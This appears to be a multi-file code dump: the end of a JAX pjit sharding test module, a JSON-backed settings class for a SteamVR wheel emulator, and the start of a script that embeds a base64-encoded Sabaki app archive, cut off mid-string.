x = jnp.arange(np.prod(shape)).reshape(shape)
exe = f.lower(x, x + 1).compile()
self.assertRaisesRegex(
NotImplementedError,
"function was compiled by a transformation that does not support "
"keyword arguments, but called with keyword arguments: a, b",
lambda: exe(x, x + 1, a=1, b=2))
@jtu.with_mesh([('x', 2), ('y', 2)])
def testLowerCompileInTreeMismatch(self):
@partial(pjit,
in_axis_resources=P(('x', 'y'),),
out_axis_resources=P(('x', 'y'),))
def f(x, y):
return x @ y
shape = (8, 8)
x = jnp.arange(np.prod(shape)).reshape(shape)
exe = f.lower(x, x + 1).compile()
self.assertRaisesRegex(
TypeError, "function compiled for .*, called with .*",
lambda: exe([x], [x + 1]))
@jtu.with_mesh([('x', 2), ('y', 2)])
def testLowerCompileArgTypeMismatch(self):
@partial(pjit,
in_axis_resources=P(('x', 'y'),),
out_axis_resources=P(('x', 'y'),))
def f(x, y):
return x @ y
shape = (8, 8)
x = jnp.arange(np.prod(shape)).reshape(shape)
x_f32 = x.astype(jnp.float32)
x_i32 = x.astype(jnp.int32)
exe = f.lower(x_f32, x_f32).compile()
self.assertRaisesRegex(
TypeError,
"Computation compiled for input types:\n.*float32.*\n"
"called with:\n.*int32.*",
lambda: exe(x_i32, x_i32))
def spec_regex(s):
return str(s).replace(r"(", r"\(").replace(r")", r"\)")
class PJitErrorTest(jtu.JaxTestCase):
@check_1d_2d_mesh(set_mesh=True)
def testNonDivisibleArgs(self, mesh, resources):
x = jnp.ones((3, 2))
spec = P(resources, None)
mesh_size = str(np.prod([dim[1] for dim in mesh], dtype=np.int64))
with self.assertRaisesRegex(ValueError,
r"One of pjit arguments.*" + spec_regex(spec) + r".*"
r"implies that the size of its dimension 0 should be "
r"divisible by " + mesh_size + r", but it is equal to 3"):
pjit(lambda x: x, in_axis_resources=spec, out_axis_resources=None)(x)
@check_1d_2d_mesh(set_mesh=True)
def testNonDivisibleOuts(self, mesh, resources):
x = jnp.ones((3, 2))
spec = P(resources, None)
mesh_size = str(np.prod([dim[1] for dim in mesh], dtype=np.int64))
with self.assertRaisesRegex(ValueError,
r"One of pjit outputs.*" + spec_regex(spec) + r".*"
r"implies that the size of its dimension 0 should be "
r"divisible by " + mesh_size + r", but it is equal to 3"):
pjit(lambda x: x, in_axis_resources=None, out_axis_resources=P(resources, None))(x)
@check_1d_2d_mesh(set_mesh=True)
def testNonDivisibleConstraint(self, mesh, resources):
x = jnp.ones((3, 2))
spec = P(resources,)
mesh_size = str(np.prod([dim[1] for dim in mesh], dtype=np.int64))
with self.assertRaisesRegex(ValueError,
r"One of with_sharding_constraint arguments"
r".*" + spec_regex(spec) + r".*implies that the size of "
r"its dimension 0 should be divisible by " + mesh_size +
r", but it is equal to 3"):
pjit(lambda x: with_sharding_constraint(x, spec),
in_axis_resources=None, out_axis_resources=None)(x)
@check_1d_2d_mesh(set_mesh=False)
@jtu.with_mesh([('z', 1)])
def testUndefinedResourcesArgs(self, mesh, resources):
x = jnp.ones((2, 2))
spec = P(resources,)
with self.assertRaisesRegex(ValueError,
r"One of pjit arguments.*" + spec_regex(spec) + r", "
r"but resource axis x is undefined."):
pjit(lambda x: x, in_axis_resources=spec, out_axis_resources=None)(x)
@check_1d_2d_mesh(set_mesh=False)
@jtu.with_mesh([('z', 1)])
def testUndefinedResourcesOuts(self, mesh, resources):
x = jnp.ones((2, 2))
spec = P(resources,)
with self.assertRaisesRegex(ValueError,
r"One of pjit outputs.*" + spec_regex(spec) + r", "
r"but resource axis x is undefined."):
pjit(lambda x: x, in_axis_resources=None, out_axis_resources=spec)(x)
@check_1d_2d_mesh(set_mesh=False)
@jtu.with_mesh([('z', 1)])
def testUndefinedResourcesConstraint(self, mesh, resources):
x = jnp.ones((2, 2))
spec = P(resources,)
with self.assertRaisesRegex(ValueError,
r"One of with_sharding_constraint arguments"
r".*" + spec_regex(spec) + r", but resource axis "
r"x is undefined."):
pjit(lambda x: with_sharding_constraint(x, spec),
in_axis_resources=None, out_axis_resources=None)(x)
@jtu.with_mesh([('x', 2), ('y', 1)])
def testRankTooLowArgs(self):
x = jnp.arange(2)
spec = P('x', 'y')
error = (r"One of pjit arguments.*" + spec_regex(spec) + r", which implies "
r"that it has a rank of at least 2, but it is 1")
with self.assertRaisesRegex(ValueError, error):
pjit(lambda x: x.sum(), in_axis_resources=spec, out_axis_resources=None)(x)
@jtu.with_mesh([('x', 2), ('y', 1)])
def testRankTooLowOuts(self):
x = jnp.arange(2)
spec = P('x', 'y')
error = (r"One of pjit outputs.*" + spec_regex(spec) + r", which implies "
r"that it has a rank of at least 2, but it is 0")
with self.assertRaisesRegex(ValueError, error):
pjit(lambda x: x.sum(), in_axis_resources=None, out_axis_resources=spec)(x)
@jtu.with_mesh([('x', 2), ('y', 1)])
def testRankTooLowConstraint(self):
x = jnp.arange(2)
spec = P('x', 'y')
error = (r"One of with_sharding_constraint arguments " +
r"was given.*" + spec_regex(spec) + r", which implies "
r"that it has a rank of at least 2, but it is 1")
with self.assertRaisesRegex(ValueError, error):
pjit(lambda x: with_sharding_constraint(x, spec),
in_axis_resources=None, out_axis_resources=None)(x)
@jtu.with_mesh([('x', 2), ('y', 1)])
def testRepeatedInResources(self):
x = jnp.arange(2)
for spec in [P('x', 'x'), P('x', ('y', 'x'))]:
error = (r"A single in_axis_resources specification can map every mesh "
r"axis to at most one positional dimension, but " +
spec_regex(spec) + " has duplicate entries for `x`")
with self.assertRaisesRegex(ValueError, error):
pjit(lambda x: x, in_axis_resources=spec, out_axis_resources=None)(x)
@jtu.with_mesh([('x', 2), ('y', 1)])
def testRepeatedOutResources(self):
x = jnp.arange(2)
for spec in [P('x', 'x'), P('x', ('y', 'x'))]:
error = (r"A single out_axis_resources specification can map every mesh "
r"axis to at most one positional dimension, but " +
spec_regex(spec) + " has duplicate entries for `x`")
with self.assertRaisesRegex(ValueError, error):
pjit(lambda x: x, in_axis_resources=None, out_axis_resources=spec)(x)
@jtu.with_mesh([('x', 2)])
def testInputShardsXMapAxis(self):
spec = P('x')
f = xmap(pjit(lambda x: x + 2, in_axis_resources=spec, out_axis_resources=None),
in_axes=['i', ...], out_axes=['i', ...], axis_resources={'i': 'x'})
x = jnp.arange(4).reshape((2, 2))
error = (r"pjit input has an axis resources specification of " +
spec_regex(spec) + r" that uses one or more mesh axes already used by "
r"xmap to partition a named axis appearing in its named_shape \(both "
r"use mesh axes `x`\)")
with self.assertRaisesRegex(JAXTypeError, error):
f(x)
@jtu.with_mesh([('x', 2)])
def testOutputShardsXMapAxis(self):
spec = P('x')
f = xmap(pjit(lambda x: x + 2, in_axis_resources=None, out_axis_resources=spec),
in_axes=['i', ...], out_axes=['i', ...], axis_resources={'i': 'x'})
x = jnp.arange(4).reshape((2, 2))
error = (r"pjit output has an axis resources specification of " +
spec_regex(spec) + r" that uses one or more mesh axes already used by "
r"xmap to partition a named axis appearing in its named_shape \(both "
r"use mesh axes `x`\)")
with self.assertRaisesRegex(JAXTypeError, error):
f(x)
@jtu.with_mesh([('x', 2)])
def testConstraintShardsXMapAxis(self):
spec = P('x')
f = xmap(lambda x: with_sharding_constraint(x, axis_resources=spec),
in_axes=['i', ...], out_axes=['i', ...], axis_resources={'i': 'x'})
x = jnp.arange(4).reshape((2, 2))
error = (r"with_sharding_constraint input has an axis resources specification of " +
spec_regex(spec) + r" that uses one or more mesh axes already used by "
r"xmap to partition a named axis appearing in its named_shape \(both "
r"use mesh axes `x`\)")
with self.assertRaisesRegex(JAXTypeError, error):
f(x)
@jtu.with_mesh([('x', 2)])
def testCatchesInnerXMapErrors(self):
f = pjit(xmap(lambda x, y: x, in_axes=(['i'], ['j']), out_axes=['i', 'j'],
axis_resources={'i': 'x', 'j': 'x'}),
in_axis_resources=None, out_axis_resources=None)
x = jnp.arange(4)
with self.assertRaises(JAXTypeError):
f(x, x)
def testEmptyMesh(self):
error = (r"pjit requires a non-empty mesh! Are you sure that it's defined "
r"at the call site?")
with self.assertRaisesRegex(RuntimeError, error):
pjit(lambda x: x, in_axis_resources=None, out_axis_resources=None)(jnp.arange(4))
@jtu.with_mesh([('x', 2)])
def testAxisResourcesMismatch(self):
x = jnp.ones([])
p = [None, None, None]
pjit(lambda x: x, (p,), p)([x, x, x]) # OK
error = re.escape(
r"pjit in_axis_resources specification must be a tree prefix of the "
r"corresponding value, got specification (None, None, None) for value "
r"tree PyTreeDef((*, *)). Note that pjit in_axis_resources that are "
r"non-trivial pytrees should always be wrapped in a tuple representing "
r"the argument list.")
with self.assertRaisesRegex(ValueError, error):
pjit(lambda x, y: x, p, p)(x, x) # Error, but make sure we hint at tupling
# TODO(apaszke): Disable implicit list casts and enable this
# error = re.escape(
# r"pjit in_axis_resources specification must be a tree prefix of the "
# r"corresponding value, got specification (None, None, None) for value "
# r"tree PyTreeDef(([*, *, *],)). Note that pjit in_axis_resources that "
# r"are non-trivial pytrees should always be wrapped in a tuple representing "
# r"the argument list. In particular, you're passing in a single argument "
# r"which means that pjit in_axis_resources might need to be wrapped in a "
# r"singleton tuple.")
# with self.assertRaisesRegex(ValueError, error):
# pjit(lambda x: x, p, p)([x, x, x]) # Error, but make sure we hint at singleton tuple
error = re.escape(
r"pjit out_axis_resources specification must be a tree prefix of the "
r"corresponding value, got specification [[None, None, None], None] for "
r"value tree PyTreeDef([*, *, *]).")
with self.assertRaisesRegex(ValueError, error):
pjit(lambda x: x, (p,), [p, None])([x, x, x]) # Error, we raise a generic tree mismatch message
@jtu.with_mesh([('x', 2)])
def testNestedDifferentResources(self):
@partial(pjit, in_axis_resources=P('x'), out_axis_resources=None)
def f(x):
with mesh(np.array([jax.local_devices()[0]]), ('x')):
@partial(pjit, in_axis_resources=P('x'), out_axis_resources=None)
def h(x):
return x
return h(x)
xshape = (2, 5, 6)
x = jnp.arange(np.prod(xshape)).reshape(xshape)
with self.assertRaisesRegex(RuntimeError,
"Changing the physical mesh is not allowed.*"):
f(x)
class UtilTest(jtu.JaxTestCase):
def testOpShardingRoundTrip(self):
FakeDevice = namedtuple('FakeDevice', ['id'])
mesh_named_shape = OrderedDict([('a', 2), ('b', 3), ('c', 4), ('d', 7), ('e', 4)])
mesh_axes, mesh_shape = unzip2(mesh_named_shape.items())
devices = [FakeDevice(i) for i in range(np.prod(list(mesh_shape)))]
mesh = pxla.Mesh(np.array(devices).reshape(*mesh_shape), tuple(mesh_axes))
dims = 5
aval = jax.core.ShapedArray((len(devices),) * dims, jnp.float32)
def roundtrip(spec):
op_sharding = pjit_lib.get_aval_sharding_proto(aval, spec, mesh)
parsed_spec = pjit_lib.parse_op_sharding(op_sharding, mesh).partitions
self.assertEqual(parsed_spec[:len(spec)], spec)
self.assertEqual(parsed_spec[len(spec):], ((),) * (len(parsed_spec) - len(spec)))
special_specs = [P()]
for spec in special_specs:
roundtrip(spec)
rng = np.random.default_rng(1)
for i in range(100):
spec = [()] * dims
for axis in rng.permutation(mesh_axes)[:rng.integers(low=1, high=len(mesh_axes) + 1)]:
spec[rng.choice(dims)] += (axis,)
roundtrip(P(*spec))
if __name__ == '__main__':
absltest.main(testLoader=jtu.JaxTestLoader())
|
__init__.py
|
import json
import os, sys
import threading
import time
if sys.platform == 'win32':
local = os.getenv('LOCALAPPDATA')
CONFIG_PATH = os.path.join(local, 'steam-vr-wheel', 'config.json')
else:
CONFIG_PATH = os.path.expanduser(os.path.join('~', '.steam-vr-wheel', 'config.json'))
DEFAULT_CONFIG = dict(trigger_pre_press_button=True, trigger_press_button=True, multibutton_trackpad=True,
multibutton_trackpad_center_haptic=True, touchpad_always_updates=True, vertical_wheel=True,
joystick_updates_only_when_grabbed=False, joystick_grabbing_switch=False, edit_mode=False,
wheel_center=[0, -0.4, -0.35], wheel_size=0.55, wheel_grabbed_by_grip=True,
wheel_grabbed_by_grip_toggle=True, wheel_show_wheel=True, wheel_show_hands=True,
wheel_degrees=1440, wheel_centerforce=3)
class ConfigException(Exception):
pass
class PadConfig:
def _load_default(self):
self._data = DEFAULT_CONFIG
os.makedirs(os.path.dirname(CONFIG_PATH), exist_ok=True)
self._write()
def __init__(self, load_defaults=False):
if load_defaults:
self._load_default()
else:
try:
with open(CONFIG_PATH) as f:
try:
self._data = json.load(f)
except json.decoder.JSONDecodeError as e:
raise ConfigException(str(e))
self.validate_config()
except FileNotFoundError as e:
raise ConfigException(str(e))
self.mtime = os.path.getmtime(CONFIG_PATH)
self.check_thr = threading.Thread(target=self._check_config)
self.check_thr.daemon = True
self.check_thr.start()
self.data_lock = threading.Lock()
def validate_config(self, data=None):
if data is None:
data = self._data
for key, value in DEFAULT_CONFIG.items():
try:
assert type(data[key]) == type(value)
except KeyError:
raise ConfigException("Missing key: {}".format(key))
except AssertionError:
raise ConfigException("Wrong type for key: {}:{}".format(key, data[key]))
def _check_config(self):
while True:
newmtime = os.path.getmtime(CONFIG_PATH)
try:
with open(CONFIG_PATH) as f:
data_new= json.load(f)
self.validate_config(data_new)
with self.data_lock:
self._data = data_new
if newmtime != self.mtime:
self.mtime = newmtime
except (ConfigException, json.decoder.JSONDecodeError):
pass
time.sleep(0.1)
def _write(self):
try:
with open(CONFIG_PATH, 'x') as f:
json.dump(self._data, f)
except FileExistsError:
with open(CONFIG_PATH, 'w') as f:
json.dump(self._data, f)
@property
def trigger_pre_press_button(self):
with self.data_lock:
return self._data['trigger_pre_press_button']
@trigger_pre_press_button.setter
def trigger_pre_press_button(self, x: bool):
with self.data_lock:
self._data['trigger_pre_press_button'] = x
self._write()
@property
def trigger_press_button(self):
with self.data_lock:
return self._data['trigger_press_button']
@trigger_press_button.setter
def trigger_press_button(self, x: bool):
with self.data_lock:
self._data['trigger_press_button'] = x
self._write()
@property
def multibutton_trackpad(self):
with self.data_lock:
return self._data['multibutton_trackpad']
@multibutton_trackpad.setter
def multibutton_trackpad(self, x: bool):
with self.data_lock:
self._data['multibutton_trackpad'] = x
self._write()
@property
def multibutton_trackpad_center_haptic(self):
with self.data_lock:
return self._data['multibutton_trackpad_center_haptic']
@multibutton_trackpad_center_haptic.setter
def multibutton_trackpad_center_haptic(self, x: bool):
with self.data_lock:
self._data['multibutton_trackpad_center_haptic'] = x
self._write()
@property
def touchpad_always_updates(self):
with self.data_lock:
return self._data['touchpad_always_updates']
@touchpad_always_updates.setter
def touchpad_always_updates(self, x: bool):
with self.data_lock:
self._data['touchpad_always_updates'] = x
self._write()
@property
def vertical_wheel(self):
with self.data_lock:
return self._data['vertical_wheel']
@vertical_wheel.setter
def vertical_wheel(self, x: bool):
with self.data_lock:
self._data['vertical_wheel'] = x
self._write()
@property
def joystick_updates_only_when_grabbed(self):
with self.data_lock:
return self._data['joystick_updates_only_when_grabbed']
@joystick_updates_only_when_grabbed.setter
def joystick_updates_only_when_grabbed(self, x: bool):
with self.data_lock:
self._data['joystick_updates_only_when_grabbed'] = x
self._write()
@property
def joystick_grabbing_switch(self):
with self.data_lock:
return self._data['joystick_grabbing_switch']
@joystick_grabbing_switch.setter
def joystick_grabbing_switch(self, x: bool):
with self.data_lock:
self._data['joystick_grabbing_switch'] = x
self._write()
@property
def edit_mode(self):
with self.data_lock:
return self._data['edit_mode']
@edit_mode.setter
def edit_mode(self, x: bool):
with self.data_lock:
self._data['edit_mode'] = x
self._write()
@property
def wheel_center(self):
with self.data_lock:
return self._data['wheel_center']
@wheel_center.setter
def wheel_center(self, x: bool):
with self.data_lock:
self._data['wheel_center'] = x
self._write()
@property
def wheel_size(self):
with self.data_lock:
return self._data['wheel_size']
@wheel_size.setter
def wheel_size(self, x: bool):
with self.data_lock:
self._data['wheel_size'] = x
self._write()
@property
def wheel_grabbed_by_grip(self):
with self.data_lock:
return self._data['wheel_grabbed_by_grip']
@wheel_grabbed_by_grip.setter
def wheel_grabbed_by_grip(self, x: bool):
with self.data_lock:
self._data['wheel_grabbed_by_grip'] = x
self._write()
@property
def wheel_grabbed_by_grip_toggle(self):
with self.data_lock:
return self._data['wheel_grabbed_by_grip_toggle']
@wheel_grabbed_by_grip_toggle.setter
def wheel_grabbed_by_grip_toggle(self, x: bool):
with self.data_lock:
self._data['wheel_grabbed_by_grip_toggle'] = x
self._write()
@property
def wheel_degrees(self):
with self.data_lock:
return self._data['wheel_degrees']
@wheel_degrees.setter
def wheel_degrees(self, x: int):
with self.data_lock:
self._data['wheel_degrees'] = x
self._write()
@property
def wheel_centerforce(self):
with self.data_lock:
return self._data['wheel_centerforce']
@wheel_centerforce.setter
def wheel_centerforce(self, x: int):
with self.data_lock:
self._data['wheel_centerforce'] = x
self._write()
@property
def wheel_show_wheel(self):
with self.data_lock:
return self._data['wheel_show_wheel']
@wheel_show_wheel.setter
def wheel_show_wheel(self, x: bool):
with self.data_lock:
self._data['wheel_show_wheel'] = x
self._write()
@property
def wheel_show_hands(self):
with self.data_lock:
return self._data['wheel_show_hands']
@wheel_show_hands.setter
def wheel_show_hands(self, x: bool):
with self.data_lock:
self._data['wheel_show_hands'] = x
self._write()
|
autosabaki.py
|
#!/usr/bin/env python3
import io
import re
import os
import pip
import sys
import time
import atexit
import base64
import shutil
import zipfile
import tempfile
import threading
import subprocess
import http.server
import socketserver
try:
import websocket_server
except:
pip.main(["install", "websocket-server"])
import websocket_server
# __sabaki_inject__
sabaki_zip_base64 = b"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